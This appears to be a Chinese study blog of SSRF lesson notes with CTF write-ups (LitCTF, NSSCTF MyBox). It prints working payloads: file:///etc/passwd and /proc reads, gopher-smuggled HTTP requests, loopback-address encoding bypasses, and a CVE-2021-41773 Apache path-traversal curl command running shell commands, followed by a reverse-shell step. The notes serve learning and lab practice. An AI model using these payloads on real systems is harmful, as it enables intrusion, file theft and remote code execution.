ssrf前置课程NAT
我们来看是内网还是公网
还有就是看怎么将内网映射到公网上
我们是要从公网打到内网
ssrf:服务器请求伪造,是一种由攻击者形成服务器端的安全漏洞
NAT:网络地址转换,通过一个外部ip地址和端口映射到更大的内部ip地址集来转换ip地址
端口映射也是半懂了
静态NAT地址转换,你的内网ip绑定一个外网地址
ssrf漏洞原理:
本质上属于信息泄露
攻击的目标:从外网无法访问的漏洞
形成的原因:大部分是由于服务器提供了从其他服务器应用获取数据的功能,且没有对目标地址进行过滤和限制
php实现:curl_exec
ssrf漏洞利用:通过服务器A访问A所在的其他服务器
ssrf信息收集:file伪协议
1 | file:///etc/passwd |
1 | file:///etc/hosts |
1 | file:///proc/net/arp |
显示arp缓存表(寻找内网其他主机).回显了三个地址,但是只有这三个端口有服务吗?并不是的,我们可以尝试.4换为.6,发现再访问一下file:///proc/net/arp就多了一个地址。在这里我们去用bp爆破。payload type改为Numbers(还可以设置步长),就可以直接爆破了
只要访问了,就要有arp请求。但是要注意HW adddress有没有和其他的不一样的,有的就是可以访问的
ssrf dict伪协议
找内网存活主机,查找内网主机开放端口
在上一步的基础上,随便访问端口
也可以端口和地址都扫描
这里的payload是
1 | dict://172.250.250.1:80 |
通过length判断哪个端口是否打开
1 | dict://ip:6739/info |
这个就可以回显信息这些方面了
ssrf中的http伪协议
前两节课分别完成查找内网存活主机ip,查找内网主机开放端口
这个完成目录扫描
1 | http://172.250.250.4/index.php |
将Index加载其他常用的字典
根据长短判断
最后拿到我要的信息
1 | 比如其他的comment.txt等 |
ssrf中的gopher伪协议基础利用
发送端:curl gopher://127.0.0.1:7777/abcd
接收端:只有bcd
所有我们要在第一位添加一个没用的,用_下划线
web也需要加端口号80,gopher协议默认端口为70
get提交:第一种http://172.250.250.4/name.php?
第二种:gopher://172.250.250.4:80/_
1 | GET /NAME.PHP?name=benben HTTP/1.1 |
再注意上面的_,下划线
最后两个url编码在bp里,发送就成功了
1 | gopher://172.250.250.4:80/_GET(后面都是我们正常的请求信息复制过来的) |
攻击者发的时候就要url编码一次,中间站又要一次
上面是bp,我在浏览器里的话就只要一次
post提交有四个参数:
1 | POST |
然后剩下的和get的方式相同
ssrf之环回地址绕过
它告诉你访问127.0.0.1下的flag.php
但是我访问又回显不行
可将127.0.0.1变形输入,原本是点分十进制,但是数据包中的确是32位Bit二进制,没有点,前面加个0b,0b01111111000000000000000000000001
八进制前面加0,017700000001
十六进制加0x,0x7F000001
也可以十进制2130706433
ssrf之302重定向绕过
针对私网地址被限制的情况
使用302重定向的原理
301 🔁 重定向 永久重定向,资源地址永久换了(比如改域名了)
302 🔁 临时重定向 资源暂时换地方了(浏览器会自动跳转)
但是这里我们需要一个公网ip
然后我们访问这个http://222.111:7777/index.php
我们的那个公网的得先开一个重定向
1 | <?php |
监听:
1 | php -S 0.0.0.0:7777 |
ssrf之DNS重绑定绕过
攻击原理:
利用服务器两次解析同一域名得短暂间隙,更换域名背后的ip达到突破同源策略或过waf进行ssrf的目的
我们生成了一个域名
访问http://域名/flag.php
就可以拿到flag了
当然,有可能要多试几次
ssrf进行命令执行
比如说访问到了http://172.250.250.4/shell.php?cmd=ls
shell.php的内容是我们要传一个get的参数来帮助我们来system
ssrf进行post进行命令执行
通过查看网页源代码的形式,看我们post传的到底是什么
其他的都是一样的
使用ssrf进行xxe漏洞利用
xxe后面还要再学,先看后面的内容
利用ssrf进行sql注入漏洞利用
这里的sql注入的闭合符是–空格(要写成%20才可以)
不是–+了
这里面的所有空格都要加上%20
用hackbar发的话就要用两次url编码
其他的基本都是一样的了
使用ssrf进行文件上传漏洞的利用
multipart/form-data的定义
媒体类型multipart/form-data遵循multipart MIME数据流定义
大概含义就是:媒体类型multipart/form-data的数据体由多个部分组成,这些部分由一个固定边界值分隔
这个就是newstar2024遇到过的知识点
再手敲一遍,加深理解和印象
1 | Content-Type:multipart/form-data;boundary=${Boundary} |
最后用gopher来进行post提交就可以了
ssrf进行文件包含漏洞利用
。。。
ssrf对mysql进行未授权查询
抓取本地mysql数据库通信内容构造payload
建议工具是tcpdump和Wireshark
抓取查询数据包的十六进制展示,再变成URL编码再进行提交
ssrf对mysql未授权文件写入
使用ssrf对tomcat文件写入
使用ssrf对redis未授权写入webshell
使用ssrf对redis未授权ssh公钥写入
使用ssrf对redis未授权计划任务shell反弹
总结
多做题吧!感觉也没有什么好说的,这些
[LitCTF 2025]easy_signin
205分
PHP伪协议SSRF弱口令
首先进去是403,我们先进行目录扫描这些工作
有301/api,301/backup
还有302/dashboard.php
200的有/login.php和/login.html
进了/login.php发现什么也没有,然后就是/login.html的话就一直在加载了(后面还是进了)
其他的都进不去的
这里进去之后发现,有一个
1 | <script src="api.js"></script> |
点开
1 | /api/sys/urlcode.php?url= |
这里我们试着开始用ssrf的知识来解决相关方面的问题
1 | /api/sys/urlcode.php?url=file:///var/www/html/api/sys/urlcode.php |
进入发现
1 | <b>file:///var/www/html/api/sys/urlcode.php 的快照如下:</b><br><br><pre><?php |
继续访问
1 | http://node6.anna.nssctf.cn:20128/327a6c4304ad5938eaf0efb6cc3e53dc.php |
拿到flag
[LitCTF 2024]浏览器也能套娃?
1分
SSRFPHP伪协议HTTP协议
浏览器里套浏览器再套浏览器
我去
一点难度没有
1 | file:///flag |
就直接出来了
[NSSCTF 2nd]MyBox
53分
SSRFPHP伪协议Apache
ssrf只是一小部分,主要还是Apache的知识
一进去发现什么也没有,我们这个时候发现
1 | http://node5.anna.nssctf.cn:29910/?url=dosth |
这里就想到了ssrf的相关知识
首先是直接读取环境变量,非预期直接拿到flag了
1 | http://node5.anna.nssctf.cn:29910/?url=file:///proc/1/environ |
预期解法:
这里就需要解决一个问题,从哪个文件开始读起
不能平白无故就读一个什么,要不就是凭借着经验去读取
?url=file:///proc/self/cmdline
/proc/self/cmdline 虚拟文件系统中的一部分。 这个文件包含当前进程的命令行。 通过读取这个文件,你可以获取启动当前进程时使用的命令行参数。
查看是什么环境
读取到的内容
1 | python3/app/app.py |
这里我们再继续读取app.py文件
1 | ?url=file:///app/app.py |
回显
1 | from flask import Flask, request, redirect |
file:/// 开头的 URL,表示从本地文件系统中读取文件的内容。
http://localhost/ 开头的 URL,表示将请求转发到本地的 HTTP 服务器。
mybox://127.0.0.1: 开头的 URL,表示将请求发送到本地的 TCP 服务器。
当用户访问 / 路由时,如果没有提供 url 参数,服务器将重定向到 /?url=dosth。否则,服务器将根据 URL 的类型进行处理。
在处理 mybox:// 开头的 URL 时,服务器会创建一个 TCP 连接到指定的端口,并将请求数据发送过去,然后将响应数据返回给客户端。
这里的mybox的方式看着很像gopher
使用该mybox提交一个请求包进行测试
师傅们的小脚本,也可以用手写,但是不如脚本,容易出错
1 | import urllib.parse |
就算能发送东西了,但是要发送什么才能拿到flag呢?
上面脚本的运行结果
1 | mybox://127.0.0.1:80/_GET%2520/xxx.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250A%250D%250A |
先来发送这个结果
1 | http://node5.anna.nssctf.cn:29910/?url=mybox://127.0.0.1:80/_GET%2520/xxx.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250A%250D%250A |
回显:
1 | HTTP/1.1 404 Not Found Date: Sat, 21 Jun 2025 11:39:09 GMT Server: Apache/2.4.49 (Unix) Content-Length: 196 Content-Type: text/html; charset=iso-8859-1 |
它是一定访问不到我们的xxx.php页面的,但是由于mybox的原因,它返回了我们的请求信息,包含了该服务器的配置信息,看到Apache/2.4.49
存在路径穿越漏洞(CVE-2021-41773)
Apache HTTP Server 2.4.49 ~ 2.4.50
Apache HTTP Server 存在路径遍历漏洞,该漏洞源于发现 Apache HTTP Server 2.4.50 版本中对 CVE-2021-41773 的修复不够充分。攻击者可以使用路径遍历攻击将 URL 映射到由类似别名的指令配置的目录之外的文件。如果这些目录之外的文件不受通常的默认配置“要求全部拒绝”的保护,则这些请求可能会成功。如果还为这些别名路径启用了 CGI 脚本,则可以允许远程代码执行
尝试执行指令
GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/bash
echo;id
/cgi-bin/ 是一个常见的目录,它通常用于存放可以通过网络服务器执行的脚本。CGI(通用网关接口)是一种技术,允许在服务器上运行脚本来生成动态内容。当客户端请求一个CGI脚本时,服务器将执行该脚本并返回结果给客户端。
在给出的示例中,/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/bash 是一个路径,以反斜杠分隔不同的目录。%2e 是URL编码中表示”…/“的方式,代表上一级目录。因此,该路径尝试在服务器上执行 /bin/bash 这个脚本文件,会返回bash的交互式命令行界面
curl示例:
1 | curl -v --data "echo;id" 'http://172.17.0.3/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' |
修改刚才的代码,进行post传参
1 | import urllib.parse |
nc -lvp 端口号,进行监听,得到flag
主要是你要有一个公网可以弹shell
可以参考我的另外一篇博客